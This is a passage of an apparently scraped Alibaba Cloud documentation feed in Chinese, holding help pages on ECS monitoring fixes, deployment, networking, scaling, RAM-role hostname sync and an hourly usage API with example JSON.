                   },
                 {
                  "Key": "templateKey2",
                  "Value": "templateValue2"
                 }
             ]
             }
           }
        },
        "Outputs": {
            "LaunchTemplateId": {
                "Value": {"Fn::GetAtt": ["Template1","LaunchTemplateId"]}
          },
         "LaunchTemplateName": {
              "Value": {"Fn::GetAtt": ["Template1","LaunchTemplateName"]}
          },
         "DefaultVersionNumber": {
                "Value": {"Fn::GetAtt": ["Template1","DefaultVersionNumber"]}
          },
         "LatestVersionNumber": {
                "Value": {"Fn::GetAtt": ["Template1","LatestVersionNumber"]}
          }
        }
      }

      ]]> 云监控ECS的Windows主机CPU监控数值异常_技术分享_常见问题_云监控-阿里云 Fri, 02 May 2025 09:39:04 +0800 云监控ECS的Windows主机CPU监控数值异常

      更新时间:2020-04-16 16:37:49

      编辑 · 

      新浪微博 微信 钉钉

      本页目录

      本文为您介绍云监控ECS的Windows主机CPU监控数值异常的原因及解决办法。

      云监控中的ECS CPU监控数值如果出现为0或者负数(实际CPU使用率不是0),其他监控值都正常。这个问题主要出现在Windows的机器上,一般原因是Windows内部的性能计数器损坏了。

      可以通过typeperf "Processor(_Total)% Processor Time"查看计数器是否正常。如果提示“错误:没有有效计数器”,则说明计数器已损坏,可通过lodctr /r命令进行修复。

      相关截图如下:查看计数器

      ]]> 禁用ECS的内网后不能使用云监控_技术分享_常见问题_云监控-阿里云 Fri, 02 May 2025 09:39:04 +0800 禁用ECS的内网后不能使用云监控

      更新时间:2020-06-18 16:09:52

      编辑 · 

      新浪微博 微信 钉钉

      本页目录

      本文为您介绍为何禁用ECS的内网后不能使用云监控。

      ECS服务器使用云监控服务,是不能禁用内网的。

      因为云监控的通讯地址open.cms.aliyun.com是解析在内网上的,通过内网来进行通讯获取数据,如果禁用了内网,云监控服务会出现无法正常使用,所以为了能够正常的使用云监控服务,必须要确保在服务器上能连通open.cms.aliyun.com的80端口。Telnet

      ]]> 云虚拟主机可以升级ECS吗_升级/续费_产品定价_云虚拟主机-阿里云 Fri, 02 May 2025 09:39:04 +0800 云虚拟主机可以升级ECS吗

      更新时间:2017-07-17 09:09:54

      本页目录

      云虚拟主机无法无缝升级到云服务器 ECS如果您需要将网站迁移到 ECS,需要您配置站点,将数据迁移到新的服务器上,将环境配置好后,将您的域名解析指向新服务器 IP

      如您自行迁移数据遇到困难,可到阿里云云市场联系网站迁移服务商进行咨询。

      ]]> 如何安装 ECS 云助手?_常见问题_Alibaba Cloud Toolkit-阿里云 Fri, 02 May 2025 09:39:04 +0800 如何安装 ECS 云助手?

      更新时间:2019-09-11 13:52:47

      本页目录

      若您在使用 Cloud Toolkit 部署应用时出现以下报错,可能原因是您的 ECS 实例没有安装云助手客户端。 error

      2017 年 12 月 01 日之后使用公共镜像创建的ECS实例,默认预装云助手客户端。如果您的实例是 2017 年 12 月 01 日之前购买的,若需要使用 Cloud Toolkit,则需自行安装云助手客户端。

      解决方案如下:

      1. 安装云助手客户端,请参见云助手客户端
      2. 启动云助手客户端,请参见停止或启动客户端

      ]]> Java应用部署到ECS_Java入门_快速入门_云效-阿里云 Fri, 02 May 2025 09:39:04 +0800 Java应用部署到ECS

      更新时间:2020-03-18 10:03:05

      本页目录

      本文档会帮助您在云效创建一个 Java Spring Boot 的代码库,并部署到阿里云 ECS 服务器。

      创建企业

      首次进入云效,会提示您创建企业。输入企业名称,点击【立即创建】。

      java-ecs-1

      创建流水线

      1. 进入企业后,从页面顶栏点击【研发】->【流水线】,进入流水线列表。

        java-ecs-2

      2. 点击右上角【新建流水线】,进入流水线创建向导页面。

        java-ecs-3

      新建代码库

      1. 在源码设置页面中,选择阿里云Code,点击代码仓库右侧【新建代码库】。

        java-ecs-4

      2. 在弹窗中选择或创建代码组,输入新建代码仓库名称,点击【下一步】。

        java-ecs-5

      3. 在代码模板中选择 Java 和 spring-boot ,取消勾选【生成Dockerfile】,点击【确认】。您可以点击代码模板图标下的预览按钮查看即将生成的代码库文件内容。

        java-ecs-6

      4. 代码库创建完成后会恢复到代码库选择页面并回填刚才创建代码库的信息,为了在代码提交时候触发持续集成,打开【开启监听】,然后点击【下一步】。

        java-ecs-7

      编辑流水线

      1. 云效会识别代码库语言并推荐相应流水线模板,使用默认置顶选中的【Java构建,测试,部署到主机】流水线模板,然后点击【创建】。

        java-ecs-8

      2. 填写流水线名称,点击【下一步】。

        java-ecs-9

      3. 部署配置。点击阶段【部署】阶段进行部署配置,在任务列表中选择【主机部署】,选择由构建环节产出的待部署【制品】。

        java-ecs-10

      4. 新建应用。在【应用】下拉框中选择【新建应用】填写应用名称,点击【确认】。

        java-ecs-11

      5. 新建环境。在【环境】下拉框中选择【新建环境】,填写环境名称,点击【机器配置】。

        java-ecs-12

      6. 机器配置。点击【使用临时模板机器】,稍等片刻会获得一台用于测试的机器。

        java-ecs-13java-ecs-14

      7. 获取临时机器成功后点击【刷新】按钮,会在机器配置页面左边看到刚才创建的机器。选中并添加到右侧,点击【确认】完成环境创建。

        java-ecs-15java-ecs-16

      运行流水线

      1. 点击右上角的【运行】,即可保存并触发流水线。

        java-ecs-17

      2. 运行成功。

        java-ecs-18

      查看测试报告

      1. Java 规约扫描。点击阶段里的点击链接可以查看报告预览,点击预览中的【链接】可以查看完整报告。

        java-ecs-19

      2. 点击测试构建阶段里的【更多】,通过【版本信息】可以查看和下载用于部署的软件包,点击【单元测试】可以展开测试结果预览,点击预览里的【链接】可以查看测试报告详情。

        java-ecs-20

      查看部署结果

      1. 点击【部署详情】可以查看部署单。在部署单中可以查看每台机器的部署情况和日志。

        java-ecs-21

      2. 访问 ECS 的公网 IP 的 8080 端口,可以看到服务运行起来了。

        java-ecs-22

      ]]> ALIYUN::ECS::Invocation_ECS_资源类型_资源编排-阿里云 Fri, 02 May 2025 09:39:04 +0800 ALIYUN::ECS::Invocation

      更新时间:2019-06-24 11:45:02

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      ALIYUN::ECS::Invocation类型用于为一台或多台ECS实例触发一条云助手命令。

      语法

      {
        "Type": "ALIYUN::ECS::Invocation",
        "Properties": {
          "Timed": Boolean,
          "Frequency": String,
          "CommandId": String,
          "InstanceIds": List
        }
      }

      属性

      属性名称 类型 必须 允许更新 描述 约束
      Timed Boolean 命令是否为周期执行。默认值:False
      Frequency String 周期任务的执行周期。该参数值结构以 Cron 表达式 为准。
      CommandId String 命令 ID。
      InstanceIds List 执行命令的实例列表。最多能指定20台实例ID。

      返回值

      Fn::GetAtt

      • InvokeId: 命令进程执行 ID。

      示例

      {
        "ROSTemplateFormatVersion": "2015-09-01",
        "Parameters": {
          "Timed": {
            "Type": "Boolean",
            "Description": "Whether it is timed execution. Default is False.",
            "AllowedValues": [
              "True",
              "true",
              "False",
              "false"
            ]
          },
          "Frequency": {
            "Type": "String",
            "Description": "The frequency of timing execution (the shortest frequency is performed every 1 minute). It iss mandatory when Timing is True.The value rule follows the rules of the cron expression. "
          },
          "CommandId": {
            "Type": "String",
            "Description": "The id of command."
          },
          "InstanceIds": {
            "Type": "CommaDelimitedList",
            "Description": "The instance id list. Select up to 20 instances at a time.Instances selected network type must be VPC network, status must be running"
          }
        },
        "Resources": {
          "Invocation": {
            "Type": "ALIYUN::ECS::Invocation",
            "Properties": {
              "Timed": {
                "Ref": "Timed"
              },
              "Frequency": {
                "Ref": "Frequency"
              },
              "CommandId": {
                "Ref": "CommandId"
              },
              "InstanceIds": {
                "Fn::Split": [
                  ",",
                  {
                    "Ref": "InstanceIds"
                  },
                  {
                    "Ref": "InstanceIds"
                  }
                ]
              }
            }
          }
        },
        "Outputs": {
          "InvokeId": {
            "Description": "The id of command execution.",
            "Value": {
              "Fn::GetAtt": [
                "Invocation",
                "InvokeId"
              ]
            }
          }
        }
      }

      ]]> 将已绑定EIP的ECS实例加入共享带宽_最佳实践_共享带宽-阿里云 Fri, 02 May 2025 09:39:04 +0800 将已绑定EIP的ECS实例加入共享带宽

      更新时间:2019-09-27 14:44:03

      本页目录

      您可以将已绑定EIP的ECS实例加入共享带宽中,复用共享带宽中的带宽

      前提条件

      操作前,请确保满足以下条件:
      • 您已经注册了阿里云账号。如还未注册,请先完成账号注册。详细信息,请参见账号注册
      • 您已经创建了共享带宽实例。详细信息,请参见创建共享带宽实例

      操作步骤

      1. 登录专有网络管理控制台
      2. 在左侧导航栏,单击共享带宽
      3. 共享带宽页面,找到目标共享带宽实例,单击操作列下的添加IP
      4. 添加IP页面,单击从已有EIP列表选取页签。
      5. 选择已绑定ECS实例的EIP,然后单击确定

        说明 EIP添加到共享带宽后,EIP的带宽峰值将变为共享带宽的带宽峰值。同时EIP会停止之前的计费,按流量计费的EIP不再收取流量费用,按带宽计费的EIP不再收取带宽费用。

      ]]> ECS实例与MongoDB实例网络类型不同时如何连接_连接实例_用户指南_云数据库 MongoDB-阿里云 Fri, 02 May 2025 09:39:04 +0800 ECS实例与MongoDB实例网络类型不同时如何连接

      更新时间:2019-10-29 14:23:49

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      当ECS实例是经典网络而MongoDB实例是专有网络(VPC),或者MongDB实例是经典网络而ECS实例是专有网络,您可根据本文中的办法快速实现不同网络类型的ECS实例连接至MongoDB实例的需求。

      前提条件

      • ECS实例和MongoDB实例在同一阿里云账号中,且属于同一地域。
      • 已将ECS实例的IP地址加入MongoDB实例的白名单中,详情请参见设置白名单

        说明 关于获取ECS实例IP地址信息,请参见如何查询ECS实例的IP地址

      经典网络的ECS实例连接专有网络的MongoDB实例

      经典网络的ECS连接专有网络的MongoDB

      通过下述三种方法均可以实现经典网络的ECS实例连接专有网络的MongoDB实例,您可以根据业务规划自行选择。

      • 将ECS实例迁移至MongoDB实例所属的专有网络中,详情请参见将ECS实例迁移至专有网络
      • 将MongoDB实例的网络类型切换为经典网络,详情请参见从专有网络切换为经典网络
      • 使用ClassicLink实现互通。

        说明 基于ClassicLink互访方案为特殊情况下的临时解决方案,生产环境中为了实现高速连接,建议您将ECS实例和MongoDB实例创建在同一VPC网络内。

        在建立ClassicLink前确保您已经了解建立连接的限制,详情请参见ClassicLink

        开启ClassicLink操作步骤:

        1. 登录专有网络管理控制台
        2. 选择目标专有网络的地域,然后单击目标专有网络的ID。
        3. 专有网络详情页面,单击开启ClassicLink, 然后在弹出的对话框,单击确定
        4. 登录ECS管理控制台
        5. 在左侧导航栏,单击目标实例
        6. 在页面左上角选择实例的所属地域。
        7. 在目标ECS实例(经典网络)的操作列中,单击更多 > 网络和安全组 > 设置专有网络连接状态
        8. 在弹出的对话框中选择MongoDB实例所属的专有网络,单击确定
        9. 在新弹出的连接专有网络对话框中,单击前往实例安全组列表添加classicLink安全组规则经典网络的ECS连接专有网络
        10. 单击添加ClassicLink安全组规则,根据以下信息配置ClassicLink安全组规则,然后单击确定
          配置 说明
          经典网络安全组 显示经典网络安全组的名称。
          选择专有网络安全组 选择专有网络的安全组。
          授权方式 选择一种授权方式:
          • 经典网络 <=> 专有网络:相互授权访问,推荐使用这种授权方式。
          • 经典网络 => 专有网络:授权经典网络ECS访问专有网络内的云资源。
          • 专有网络 => 经典网络:授权专有网络内的云资源访问经典网络ECS。
          协议类型 选择授权通信的协议和端口。
          端口范围 端口的输入格式为xx/xx,此处放通的端口为MongoDB实例的端口3717,填入3717/3717
          优先级 设置该规则的优先级。数字越小,优先级越高。
          描述 填入安全组描述,长度为2-256个字符,不能以 http:// 或 https:// 开头。

      专有网络的ECS实例连接经典网络的MongDB实例

      专有网络的ECS连接经典网络的MongoDB

      将MongoDB实例切换到ECS实例所属的专有网络中,详情请参见从经典网络切换为专有网络

      说明

      • 单节点实例暂不支持切换网络类型。
      • 切换网络时,实例将会出现一次闪断。请您尽量在业务低峰期执行切换操作,或确保您的应用有自动重连机制,以避免闪断造成的影响。

      ]]> 扩容部署在 ECS 集群中的应用_ECS 集群应用生命周期管理_应用管理_ECS集群用户指南_企业级分布式应用服务 EDAS-阿里云 Fri, 02 May 2025 09:39:04 +0800 扩容部署在 ECS 集群中的应用

      更新时间:2019-12-11 17:37:38

      本页目录

      当部署应用的 ECS 实例负载过高或者应用内没有实例时,可以通过添加实例来扩容。现EDAS 支持三种扩容方式:从该应用部署的集群选择、基于现有实例规格购买和基于实例启动模板购买。

      扩容实例的运行状态说明

      扩容的实例的运行状态是根据所在应用的运行状态而定的。

      • 如果扩容的时候应用已经部署并处于运行状态,那么扩容的实例会自动部署应用、启动、运行应用。
      • 如果扩容的时候应用已经部署并处于停止状态,那么扩容的实例仍然会自动部署应用、启动、运行应用。
      • 如果扩容的时候应用实例未部署,那么扩容的实例不会自动部署,也不会启动、运行应用,扩容的实例会处于停止状态。

      进入应用扩容功能

      1. 在应用详情页面右上角单击应用扩容。在购买实例对话框的扩容方式页签内选择扩容的目标分组
      2. 选择扩容方式,并分别参照以下扩容方式完成后续扩容步骤。

      从该应用部署的集群选择

      该扩容方式是从应用所在集群内选择空闲的实例添加到应用来实现扩容。

      1. 扩容方式勾选从该应用部署的集群选择
      2. 在实例列表中勾选用于扩容的空闲实例,然后单击扩容

        从该应用部署的集群选择

        页面上出现扩容成功的提示后,进入应用实例部署信息页面,查看扩容实例的运行状态,如果显示运行正常则说明扩容成功。

      基于现有实例规格购买

      该扩容方式是以所在集群内的任意一个实例作为规格模板,来配置购买实例实现扩容。

      1. 扩容方式勾选基于现有实例规格购买,该页面内会罗列出应用所在集群内的所有实例。
      2. 勾选您想作为规格模板的实例,选择回收模式,然后单击下一步

        说明 此次 ECS 实例代购默认会复制所选择 ECS 实例的规格、磁盘、网络、userdata、标签等基本信息。

        基于现有实例规格购买

      3. 购买信息页面,配置购买数量登录密钥,并勾选《云服务器 ECS 服务条款》 | 《镜像商品使用条款》,然后单击下一步
      4. 确认扩容页面查看代购的实例信息,然后单击确认扩容

        页面上方会出现已触发自动购买的流程,请查看变更流程获取实时信息的提示。

      5. 进入应用的实例部署信息页面,查看扩容实例的运行状态,如果显示运行正常则说明扩容成功。

      说明

      • 基于现有 ECS 规格购买机器分为两个变更流程进行,第一个变更流程是 EDAS 从 ECS 为您代购 ECS实例;第二个变更流程是将代购后的 ECS 实例自动扩容进应用中。
      • 从您提交请求到应用开始扩容所需实例,前后约三分钟;两个变更流程执行相隔约10秒。
      • 所有计费信息均按照 ECS 与 EDAS 的正常计费进行,此次操作不会产生额外的费用。
      • ECS 中默认的登录信息均以您自行设定的 KeyPair 进行,EDAS 不会触碰您的任何私密信息。

      基于实例启动模板购买

      使用实例启动模板购买需您提前在 ECS 控制台创建实例启动模板,然后在 EDAS 控制台上基于您创建的模板来购买实例。创建启动模板的具体操作请参见创建实例启动模板

      注意 您所创建的启动模板必须和您的应用在同一个 VPC 内,否则所创建的启动模板无法被有效选择。

      1. 扩容方式勾选基于实例启动模板购买
      2. 选择绑定模板和模板版本,选择回收模式,然后单击下一步
        • 使用绑定模板:在实例分组中绑定的启动模板,具体文档请参见绑定实例启动模板
        • 使用指定模板:在 ECS 控制台创建的模板。如果您创建过多个模板,需要选择具体模板版本
      3. 购买信息页面选择购买数量并勾选《《云服务器 ECS 服务条款》 | 《镜像商品使用条款》,然后单击下一步
      4. 确认扩容页面,检查需要购买的 ECS 数量和启动模板信息。确认无误后,单击确认扩容

        页面上方会出现已触发自动购买的流程,请查看变更流程获取实时信息的提示。

      5. 进入应用的实例部署信息页面,查看扩容实例的运行状态,如果显示运行正常则说明扩容成功。

      更多信息

      ]]> 创建ECS实例_ECS_资源管理_ECS集群用户指南_企业级分布式应用服务 EDAS-阿里云 Fri, 02 May 2025 09:39:04 +0800 创建ECS实例

      更新时间:2020-06-01 14:35:02

      本页目录

      如果您还没有ECS实例,请参考本文档创建ECS实例,以便部署应用。

      前提条件

      在创建ECS实例前,请先确认您要创建实例的网络:
      • 如果您在2017年6月14日17:00 (UTC+8)之后,第一次购买ECS实例,不能再选择经典网络,只能选择专有网络(VPC)。在此之前创建的经典网络的ECS实例可以继续使用。
      • 在VPC创建ECS实例,需要选择VPC,且选择VPC之后,该ECS实例不能再转移到其它VPC中。所以请确认您要创建ECS实例的VPC。如果没有VPC,请先创建VPC,具体操作步骤请参见搭建IPv4专有网络

      操作步骤

      1. 登录EDAS控制台
      2. 在左侧导航栏中选择资源管理 > ECS
      3. ECS页面选择您要创建ECS实例的地域命名空间(可选),在页面右上角单击创建实例
      4. 在ECS购买页面,根据您的需要,参考创建ECS实例,完成ECS的规格配置和支付。

        注意 在EDAS控制台使用和管理ECS实例需要在ECS实例上安装EDAS Agent。在购买ECS实例时,通过选择EDAS基础镜像自动安装EDAS Agent。

        1. 镜像一栏中,选择镜像市场,然后单击从镜像市场获取更多选择(含操作系统)
        2. 在镜像市场对话框的搜索框中输入EDAS,单击搜索
        3. 在搜索结果中选择EDAS JAVA环境(普通ECS)版本(默认选择当前最新版本)和单击使用

      结果验证

      单击管理控制台返回云服务器管理控制台,一般需要1~5分钟完成实例创建。单击刷新按钮,新建的ECS实例状态变为运行中,表示实例创建成功。

      ]]> 金融云ECS云服务器互联网互通说明_常见问题_产品常见问题_金融云-阿里云 Fri, 02 May 2025 09:39:04 +0800 金融云ECS云服务器互联网互通说明

      更新时间:2018-01-03 11:24:41

      本页目录

      一、适用范围

      本说明仅仅针对阿里金融云,不适用于公共云或其它行业云。


      二、综述

      如下图所示,ECS主动访问互联网和被动接受互联网访问,两条数据通道彼此隔离,互相不重叠,不交叉,计量和收费亦独立进行。

      如ECS云服务器没有主动访问互联网的需求,无需购买公网带宽。反之,如有访问需求,则必须购买公网带宽,否则无法主动发起互联网访问。

      因为金融行业的安全合规特殊性,目前经典网络限制互联网直接访问ECS任何端口,VPC的弹性公网IP限制2W以下敏感端口。如ECS云服务网需要对互联网提供服务,建议购买SLB(负载均衡),然后进入ECS云服务器的内网IP(端口)实现。

      SLB(负载均衡)创建后,默认ECS所在安全组对SLB(负载均衡)内网IP地址段开放访问权限,无需单独配置。

      安全说明:金融云目前的安全策略由外部网络设备控制,但从安全实践出发我们还是建议用户在ECS上做好安全组的配置,在安全组上禁止公网测不合理的访问需求,以保证多层的安全防护体系。

       

      三、数据通道图示


      图1:



      四、ECS云服务器主动访问互联网

      1)数据通道

      见图1右侧:ECS云服务器公网IP(vpc中就是弹性公网IP)———->防火墙———->互联网server,然后数据沿原路返回。

      2)计费方式

      该通道可以采用按带宽计费或按照固定带宽计费模式。

       

      五、ECS云服务器提供web服务给互联网用户

      1)数据通道

      见图1左侧:互联网用户———->SLB(负载均衡)———->ECS云服务器内网IP,然后数据沿原路返回。

      2)计费方式

      该通道可以采用按带宽计费或按照固定带宽计费模式。

       

      六、是否存在重复计费?

      不存在。因为, ECS公网IP和SLB,都只按照流量的下行方向计费,即从ECS往外的流量计费。

      例:某ECS往外的流量是5M,其中2M是ECS主动访问互联网所产生,3M是互联网用户访问ECS,ECS回包所产生。无论是都通过ECS公网IP进出(图3),还是部分走SLB、部分走ECS 公网IP(图2),总的下行流量5M不会变。

       

      图2:


      图3:

       

      七、SLB(负载均衡)相关

      购买入口

      http://buy.aliyun.com/SLB

      帮助中心SLB(负载均衡)入口

      http://help.aliyun.com/all/11108234.html

       



      ]]> 跨账号同步ECS主机名_用户指南_云解析 PrivateZone-阿里云 Fri, 02 May 2025 09:39:04 +0800 跨账号同步ECS主机名

      更新时间:2020-03-17 14:28:58

      本页目录

      什么是同步ECS主机名

      同步ECS主机名,是指通过PrivateZone自动获取ECS服务器实例信息中的主机名配置,然后根据ECS主机名在privateZone中一键生成相应的内网DNS解析记录(即主机名记录)。

      什么是跨账号同步ECS主机名

      跨账号同步ECS主机名是指,例如有阿里云账号A和B时,可实现将B账号下的ECS主机名同步到A账号下。

      适用场景

      当企业有多个阿里云账号,如果ECS分布在不同的账号,在使用PrivateZone管理内网DNS时,需要用户在每个账号下都创建一遍相同Zone名称、并操作ECS主机名同步,来生成主机名记录。这种管理操作繁琐不便且影响运维人员的工作效率,基于上述场景,我们为用户提供了PrivateZone可以跨账号同步ECS主机名功能。

      设置方法

      示例:以有阿里云账号A和账号B,期望结果是需要把账号B下的ECS主机名同步到账号A下。

      配置RAM角色

      在使用跨账号同步ECS主机名前,需要在B账号下先配置RAM角色,如未配置,则无法正常使用跨账号同步ECS功能。

      1、用 B账号 登录阿里云 RAM产品控制台

      2、菜单选择 RAM角色管理,单击 新建RAM角色 按钮,选择类型 请选中 阿里云服务,并点击 下一步;参考 示例图1

      3、配置角色 的角色名称请按规则输入 AssumeRoleFor12345,其中12345是示例,代表账号B的Uid(适用主账号)。选择授信服务 请选择 云服务器,并单击 完成,参考 示例图2

      4、 单击 为角色授权按钮,在系统权限策略中,检索 ECS,选中 AliyunECSReadOnlyAccess, 点击 确定,参考 示例图3

      5、返回RAM角色列表页,点击角色 AssumeRoleFor12345 ,选中 信任策略管理 ,单击 修改信任策略 按钮。请修改 Service,将里面的ecs.aliyuncs.com替换为账号A(适用主账号),输入规则为 Uid@pvtz.aliyuncs.com 。例如账号 AUid 是 345678,那么 sevice 就修改为 345678@pvtz.aliyuncs.com。参考示例图4

      示例图1

      新建RAM角色按钮


      选择阿里云服务


      示例图2

      示例图2


      示例图3

      为角色授权


      添加权限

      示例图4

      修改信任策略按钮
      修改策略

      跨账号同步ECS主机名

      1、 用 A账号 登录 云解析DNS控制台, 单击左侧菜单 PrivateZone

      2、 单击 添加zone,输入自定义的私有域名。

      添加zone

      3、 单击 zone名称,进入解析设置页面,选择 主机名记录 页签,单击 自动同步配置 按钮,选择当前账号下的 ECS区域做同步。

      同步主机名

      自动同步配置

      4、 如需同步 B账号下的 ECS主机名,需要先单击 添加账户

      添加账号

      5、 在添加账户的弹出框中,输入B账号的登录邮箱或用户名;单击发送验证码,验证码会同时发送到账号B的邮箱和手机中。

      添加账户

      6、验证通过后,在选择账号的下拉框中选中 账号B,然后选择需要同步主机名的ECS区域,点击确认,即完成跨账号同步ECS主机名。

      选择关联账号

      7、最后返回PrivateZone列表页,单击 关联VPC,选择账号下默认显示为当前账号下的VPC列表,完成 关联VPC

      关联VPC

      ]]> ECS小时数据_计量域_阿里云交易和账单管理API-阿里云 Fri, 02 May 2025 09:39:04 +0800 ECS小时数据

      更新时间:2019-07-08 09:10:36

      本页目录

      接口名

      QueryUserOmsData

      描述

      查询ECS产品按小时计量的数据信息。

      请求参数

      名称 类型 是否必填 说明
      Table String ecs
      DataType String 计量数据时间类型。Hour:小时
      StartTime String 请求的开始时间。日期格式按照ISO8601标准标示,并需要使用UTC时间。格式:yyyy-mm-ddThh:mm:ssZ
      EndTime String 请求的结束时间。日期格式按照ISO8601标准标示,并需要使用UTC时间。格式:yyyy-mm-ddThh:mm:ssZ
      Maker String 设定结果从NextToken之后按字母排序的第一个开始返回。默认从头返回
      PageSize Integer 分页查询每页行数,1~200,默认100行

      返回参数

      名称 类型 说明
      HostId String 用户所属站点,cn为国内站
      CPUs Integer 用户购买的CPU Core数量
      InstanceId String 实例ID
      OsDiskSize Integer 用户购买的OS盘大小,单位Bytes
      ImageOS String 镜像OS类型
      NetworkIn Integer 在StartTime和EndTime时间段内发生的从外部网络流入ECS的数据量,单位Bytes
      Disk Integer 用户购买的数据盘容量,单位Bytes
      NetworkOut Integer 在StartTime和EndTime时间段内发生的从ECS流出到外部网络的数据量,单位Bytes
      InstanceTypeName String 实例类型名称
      DataDiskSize Integer 数据盘大小,单位:GB
      IoOptimized Integer 创建的 ECS 是否 I/O 优化
      ImageSize Integer 镜像大小
      Memory Integer 用户购买的内存容量,单位Bytes
      Region String 地域
      OsDiskType String 用户购买的OS盘类型
      TmpDataDiskSize Integer 用户购买的本地磁盘容量,单位Bytes
      ProviderId String 产品供应商对应编号,默认26842
      SsdDataDiskSize Integer 用户购买的本地ssd磁盘容量,单位Bytes
      CloudDataDiskSize Integer 用户购买的云磁盘容量,单位Bytes
      Bandwidth Integer 用户购买的带宽,单位bps
      EndTime String 计费数据发生结束时间
      StartTime String 计费数据发生开始时间

      请求示例

      示例(按小时):

      1. https://business.aliyuncs.com/? Action=QueryUserOmsData
      2. &DataType=Hour
      3. &EndTime=2019-04-18T09:15:54Z
      4. &StartTime=2019-01-01T09:15:54Z
      5. &Table=ecs
      6. &<公共请求参数>

      返回示例

      示例(按小时):

      1. {
      2. "Data": {
      3. "OmsData": [
      4. {
      5. "CPUs": "1",
      6. "InstanceId": "i-bp1hmito9v058zbua0eb",
      7. "OsDiskSize": "42949672960",
      8. "NetworkIn": "0",
      9. "NetworkOut": "0",
      10. "ImageOS": "Windows Server 2016",
      11. "Disk": "0",
      12. "InstanceTypeName": "ecs.t5-lc2m1.nano",
      13. "DataDiskSize": "0",
      14. "IoOptimized": "true",
      15. "ImageSize": "42949672960",
      16. "Memory": "536870912",
      17. "Region": "cn-hangzhou-dg-a01",
      18. "OsDiskType": "cloud_efficiency",
      19. "TmpDataDiskSize": "0",
      20. "ProviderId": "26842",
      21. "EndTime": "2019-01-01T11:00:00Z",
      22. "SsdDataDiskSize": "0",
      23. "StartTime": "2019-01-01T10:00:00Z",
      24. "CloudDataDiskSize": "0",
      25. "Bandwidth": "1048576"
      26. },
      27. {
      28. "CPUs": "1",
      29. "InstanceId": "i-bp1hmito9v058zbua0eb",
      30. "OsDiskSize": "42949672960",
      31. "NetworkIn": "0",
      32. "NetworkOut": "0",
      33. "ImageOS": "Windows Server 2016",
      34. "Disk": "0",
      35. "InstanceTypeName": "ecs.t5-lc2m1.nano",
      36. "DataDiskSize": "0",
      37. "IoOptimized": "true",
      38. "ImageSize": "42949672960",
      39. "Memory": "536870912",
      40. "Region": "cn-hangzhou-dg-a01",
      41. "OsDiskType": "cloud_efficiency",
      42. "TmpDataDiskSize": "0",
      43. "ProviderId": "26842",
      44. "EndTime": "2019-01-01T12:00:00Z",
      45. "SsdDataDiskSize": "0",
      46. "StartTime": "2019-01-01T11:00:00Z",
      47. "CloudDataDiskSize": "0",
      48. "Bandwidth": "1048576"
      49. },
      50. {
      51. "CPUs": "1",
      52. "InstanceId": "i-bp1hmito9v058zbua0eb",
      53. "OsDiskSize": "42949672960",
      54. "NetworkIn": "0",
      55. "NetworkOut": "0",
      56. "ImageOS": "Windows Server 2016",
      57. "Disk": "0",
      58. "InstanceTypeName": "ecs.t5-lc2m1.nano",
      59. "DataDiskSize": "0",
      60. "IoOptimized": "true",
      61. "ImageSize": "42949672960",
      62. "Memory": "536870912",
      63. "Region": "cn-hangzhou-dg-a01",
      64. "OsDiskType": "cloud_efficiency",
      65. "TmpDataDiskSize": "0",
      66. "ProviderId": "26842",
      67. "EndTime": "2019-01-01T13:00:00Z",
      68. "SsdDataDiskSize": "0",
      69. "StartTime": "2019-01-01T12:00:00Z",
      70. "CloudDataDiskSize": "0",
      71. "Bandwidth": "1048576"
      72. },
      73. {
      74. "CPUs": "1",
      75. "InstanceId": "i-bp1hmito9v058zbua0eb",
      76. "OsDiskSize": "42949672960",
      77. "NetworkIn": "0",
      78. "NetworkOut": "0",
      79. "ImageOS": "Windows Server 2016",
      80. "Disk": "0",
      81. "InstanceTypeName": "ecs.t5-lc2m1.nano",
      82. "DataDiskSize": "0",
      83. "IoOptimized": "true",
      84. "ImageSize": "42949672960",
      85. "Memory": "536870912",
      86. "Region": "cn-hangzhou-dg-a01",
      87. "OsDiskType": "cloud_efficiency",
      88. "TmpDataDiskSize": "0",
      89. "ProviderId": "26842",
      90. "EndTime": "2019-01-01T14:00:00Z",
      91. "SsdDataDiskSize": "0",
      92. "StartTime": "2019-01-01T13:00:00Z",
      93. "CloudDataDiskSize": "0",
      94. "Bandwidth": "1048576"
      95. },
      96. {
      97. "CPUs": "1",
      98. "InstanceId": "i-bp1hmito9v058zbua0eb",
      99. "OsDiskSize": "42949672960",
      100. "NetworkIn": "0",
      101. "NetworkOut": "0",
      102. "ImageOS": "Windows Server 2016",
      103. "Disk": "0",
      104. "InstanceTypeName": "ecs.t5-lc2m1.nano",
      105. "DataDiskSize": "0",
      106. "IoOptimized": "true",
      107. "ImageSize": "42949672960",
      108. "Memory": "536870912",
      109. "Region": "cn-hangzhou-dg-a01",
      110. "OsDiskType": "cloud_efficiency",
      111. "TmpDataDiskSize": "0",
      112. "ProviderId": "26842",
      113. "EndTime": "2019-01-01T15:00:00Z",
      114. "SsdDataDiskSize": "0",
      115. "StartTime": "2019-01-01T14:00:00Z",
      116. "CloudDataDiskSize": "0",
      117. "Bandwidth": "1048576"
      118. },
      119. {
      120. "CPUs": "1",
      121. "InstanceId": "i-bp1hmito9v058zbua0eb",
      122. "OsDiskSize": "42949672960",
      123. "NetworkIn": "0",
      124. "NetworkOut": "0",
      125. "ImageOS": "Windows Server 2016",
      126. "Disk": "0",
      127. "InstanceTypeName": "ecs.t5-lc2m1.nano",
      128. "DataDiskSize": "0",
      129. "IoOptimized": "true",
      130. "ImageSize": "42949672960",
      131. "Memory": "536870912",
      132. "Region": "cn-hangzhou-dg-a01",
      133. "OsDiskType": "cloud_efficiency",
      134. "TmpDataDiskSize": "0",
      135. "ProviderId": "26842",
      136. "EndTime": "2019-01-01T16:00:00Z",
      137. "SsdDataDiskSize": "0",
      138. "StartTime": "2019-01-01T15:00:00Z",
      139. "CloudDataDiskSize": "0",
      140. "Bandwidth": "1048576"
      141. },
      142. {
      143. "CPUs": "1",
      144. "InstanceId": "i-bp1hmito9v058zbua0eb",
      145. "OsDiskSize": "42949672960",
      146. "NetworkIn": "0",
      147. "NetworkOut": "0",
      148. "ImageOS": "Windows Server 2016",
      149. "Disk": "0",
      150. "InstanceTypeName": "ecs.t5-lc2m1.nano",
      151. "DataDiskSize": "0",
      152. "IoOptimized": "true",
      153. "ImageSize": "42949672960",
      154. "Memory": "536870912",
      155. "Region": "cn-hangzhou-dg-a01",
      156. "OsDiskType": "cloud_efficiency",
      157. "TmpDataDiskSize": "0",
      158. "ProviderId": "26842",
